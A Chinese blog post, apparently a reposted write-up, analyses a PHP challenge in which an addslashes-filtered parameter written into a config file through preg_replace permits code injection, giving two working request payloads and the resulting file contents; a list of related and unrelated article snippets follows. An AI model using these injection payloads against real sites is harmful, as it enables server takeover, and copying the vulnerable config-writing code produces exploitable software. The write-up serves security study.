PHP正则配合写配置文件导致Getshell,偶然间看到的一个题目, p 牛的小密圈的一个问题。

分析一下,漏洞代码:

index.php

<?php
$str=addslashes($_GET['option']);
$file=file_get_contents('option.php');
$file=preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
echo $file;
file_put_contents('option.php', $file);
?>

option.php

<?php
$option='';
?>

现在来分析一下代码:

  1. 对传入的 option 参数进行 addslashes ,比如有单引号 ',会变成\'
  2. 通过正则匹配 option.php 中的 $option='123';,将123的内容替换为经第一步处理的值。
  3. 替换完成,将其写入 option.php。

场景:写入配置文件。

方法一(利用正则的.*、单引号):

先访问:

http://127.0.0.1/test/index.php?option=123';%0aphpinfo();//

经过 addslashes 后,$str 值为 123\';%0aphpinfo();//

进行正则匹配并写入文件,option.php 的内容变为:

<?php
$option='123\';
phpinfo();//';
?>

再访问:

http://127.0.0.1/test/index.php?option=123

正则匹配时,会将两个单引号里的内容即 123\ ,替换为 123,此时 option.php 的内容变为

<?php
$option='';
phpinfo();//';
?>

最后访问:http://127.0.0.1/test/option.php

成功 Getshell

方法二(利用preg_replace的转义):

访问:

http://127.0.0.1/test/index.php?option=123\';phpinfo();//

经过 addslashes 后,$str 为 123\\\';phpinfo();//

虽然 addslashes 将\转义为\\但是经过preg_replace正则匹配处理后\\又变为了\ ,三个\\\变成了两个\\

所以最后写入文件option.php 的内容变为:

<?php
$option='123\\';phpinfo();//';
?>

访问:http://127.0.0.1/test/option.php

成功 Getshell

原文链接:http://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html

任重而道远!

PHP正则配合写配置文件导致Getshell的更多相关文章

  1. 漏洞:阿里云盾phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导致GETSHELL

    阿里云盾提示phpMyAdmin <=4.8.1会出现漏洞有被SHELL风险,具体漏洞提醒: 标题 phpMyAdmin <=4.8.1 后台checkPageValidity函数缺陷可导 ...

  2. JS利用正则配合replace替换指定字符

    替换指定字符的方法有很多,在本文为大家详细介绍下,JS利用正则配合replace是如何做到的,喜欢的朋友可以参考下 定义和用法 replace() 方法用于在字符串中用一些字符替换另一些字符,或替换一 ...

  3. $Django importlib与dir知识,手写配置文件, 配置查找顺序 drf分页器&drf版本控制

    1  importlib与dir知识 # importlib简介动态导入字符串模块 # 常规导入 from ss.aa import b from ss import a print(b,type(b ...

  4. 阿里云提出的漏洞(Phpcms V9某处逻辑问题导致getshell漏洞解决方法)的问题

    最近从阿里云云盾检测流出来的,相比使用阿里云服务器的朋友已经收到漏洞提醒:Phpcms V9某处逻辑问题导致getshell漏洞解决方法,这个漏洞怎么办呢?CMSYOU在这里找到针对性解决办法分享给大 ...

  5. WebApi 数据保护操作未成功。这可能是由于未为当前线程的用户上下文加载用户配置文件导致的。当线程执行模拟时,可能会出现此情况。","ExceptionType":"System.Security.Cryptography.CryptographicException","StackTrace

    在调用System.Security.Cryptography.ProtectedData.Protect方法来保护私密信息时,IIS可能会报以下错误:CryptographicException: ...

  6. android上如何写配置文件

    android上如何写配置文件:使用SharedPreferences SharedPreferences是Android平台上一个轻量级的存储类,用来保存应用的一些常用配置,比如Activity状态 ...

  7. 在spring boot使用总结(九) 使用yaml语言来写配置文件

    yaml是专门用来写配置文件的语言.使用yaml来写配置文件扩展性比较强而且十分方便.spring boot支持使用yaml语言来写配置文件,使用snakeyaml库来读取配置文件.spring bo ...

  8. 【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

    0x00 环境准备 EasySNS官网:http://www.imzaker.com 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/inde ...

  9. 内存写越界导致破环堆结构引起的崩溃问题定位经验[如报错malloc(): memory corruption或free(): invalid next size]

    前段时间开发的一个后端C模块上线后,线上出core,初始时,因为訪问压力不大,所以崩溃是上线3天左右出现的.当时用gdb跟进调用堆栈并检查源代码,发现出core位置的代码沒有啥问题.因为当时开发任务较 ...

随机推荐

  1. XML基础入门

    一.概念 XML: Extensible  markup Language,可拓展标记语言 功能:存储数据 1.配置文件 2.在网络中传输数据 html和xml的区别: 1.xml标记全是自定义的 2 ...

  2. Java各个知识点详解总结

    Java基础知识总结 写代码: 1,明确需求.我要做什么? 2,分析思路.我要怎么做?1,2,3. 3,确定步骤.每一个思路部分用到哪些语句,方法,和对象. 4,代码实现.用具体的java语言代码把思 ...

  3. 05基于python玩转人工智能最火框架之TensorFlow基础知识

    从helloworld开始 mkdir mooc # 新建一个mooc文件夹 cd mooc mkdir 1.helloworld # 新建一个helloworld文件夹 cd 1.helloworl ...

  4. (android高仿系列)今日头条 --新闻阅读器 (二)

    高仿今日头条 --- 第一篇:(android高仿系列)今日头条 --新闻阅读器 (一)    上次,已经完毕了头部新闻分类栏目的拖动效果. 这篇文章是继续去完好APP 今日头条  这个新闻阅读器的其 ...

  5. C# to il 9 Properties and Indexers(属性和索引器)

    A field is simply a memory location, whereas, a property is a collection of methods. Aproperty is re ...

  6. 论 微服务 和 Entity Framework 对 数据 的 割裂

    微服务 的 本质 是 面向对象, 微服务 是 面向对象 对 数据中心 发起的挑战, 在 微服务 架构下, “数据为中心” 的 传统架构 被 严重 割裂, 微服务 的 先天矛盾, 是 对象 和 数据 的 ...

  7. gaea-editor 知识点

    github 地址:https://github.com/ascoders/gaea-editor

  8. DNS压力测试

    安装 queryperf cd /usr/local/src wget http://ftp.isc.org/isc/bind9/9.12.1/bind-9.12.1.tar.gz 编译querype ...

  9. yii 分页查询

    控制器 <?php namespace backend\controllers; use app\models\Comment; use app\models\Commentstatus; us ...

  10. Linux下处理文件中的^M

    由于之前爬某房地产网站的房价数据,开始没有定义好存储的位子,所以临时存储在了txt文件中.最近定义清楚数据需要存储在mongoDB中,所以我需要从原来数据中解析出来存储在mongoDB中,转存的时候在 ...